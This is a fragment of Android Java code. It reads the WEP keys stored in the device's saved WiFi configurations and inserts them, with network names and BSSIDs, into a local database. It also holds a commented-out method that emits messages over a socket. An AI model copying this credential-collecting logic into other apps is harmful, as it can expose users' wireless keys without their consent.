                String[] wepkeys = config.wepKeys;

                //db에 추가
                dbHelper.insertWifiColumn(id, ssid, bssid, wepkeys[0]);
            }
        }
    }
//
//    public void alert(String type, String message){
//
//        JsonObject alertJsonObject = new JsonObject();
//        alertJsonObject.addProperty("comment", message);
//        JSONObject jsonObject = null;
//
//        try{
//            jsonObject = new JSONObject(alertJsonObject.toString());
//        }catch(JSONException e){
//            e.printStackTrace();
//        }
//
//        socket.emit(type, jsonObject);
//
//    }

}